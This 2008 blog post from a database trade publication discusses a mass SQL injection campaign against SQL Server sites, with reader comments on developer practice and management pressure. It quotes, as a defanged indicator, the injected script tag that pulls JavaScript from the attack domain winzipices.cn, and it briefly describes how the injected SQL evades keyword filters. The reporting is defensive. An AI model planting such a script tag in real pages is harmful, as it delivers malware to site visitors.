Data Driver

Blog archive

SQL Injections: The Attacks Continue

The SQL injection saga first outlined here last week continues in the form of new attacks, while others are talking about what developers need to do to minimize their exposure.

The Shadowserver Foundation, a volunteer watchdog consortium of security pros who track various threats, today reported that the latest SQL injection exploit is affecting the "winzipices.cn domain name." According to today's posting by Steven Adair, the attack has hit more than 4,000 pages.

Web sites that have been hacked will see the following HTML source code on the pages affected:

<script src=hxxp://winzipices.cn/5.js></script>

CNET senior editor Robert Vamosi posted an enlightening interview with Jeremiah Grossman, CTO of WhiteHat Security, who describes how these latest SQL attacks are carried out in comparison to attacks in the past. Notably, he touches on a sensitive spot with database developers and the theme of my last post: Microsoft's contention that this exploit is not a bug in SQL Server but rather it exploits a feature of the database -- and one that is not at risk if developers employ the proper practices.

Indeed, most who responded to last week's entry here agree that while the latest attack affects only SQL Server, critics should not be so quick to pounce on Microsoft.

"In this case I absolutely agree that it's not the fault of the DBMS," writes Lee from the Solomon Islands. "Since I first heard of SQL insertion attacks I developed a small set of functions to filter every input from my Web sites (or others). I can't see any excuse for not doing this once, and then simply copying the code from one project to the next."

Ralph Wilson, from Boerne, Texas, who was a developer and now is moving toward becoming a database modeler, says many developers are unaware of the impact SQL injections can have. "I can tell you from personal experience that there are a lot of developers out there who do not realize the possibilities and vulnerabilities of insertion attacks," Wilson wrote. "I know that, before encountering one, I didn't realize how easy it could be."

However, Wilson believes fault lies with managers who pressure developers to move projects along. "The Injection Attack Fault Line starts at the top of the IT chain of command, if not at the top of the organization," he says. "The management culture that tries too hard to run a 'lean, mean, coding machine' usually sets IT up so that it is about 90 percent staffed to do the 125 percent work load."

Managers and developers alike shouldn't underestimate the threat of SQL injections, writes Robert Robbins from Williamsport, Pa. "I've seen the SQL being injected in these attacks and it is really devious," writes Robbins. "It casts a lengthy series of numbers into the actual SQL command so just parsing for a few SQL keywords may not catch this. It also uses table cursors and system objects to discover the table and column names. That allows it to infect the entire database without knowing the schema. Even a Web site that protects against SQL injection may be unprepared for this particular example."

What affect has the latest spate of attacks had on your organization's development practices? If you've been hit, what are you doing about it? Drop me a line.

Posted by Jeffrey Schwartz on 05/07/2008 at 1:15 PM


comments powered by Disqus
Upcoming Events

.NET Insight

Sign up for our newsletter.

I agree to this site's Privacy Policy.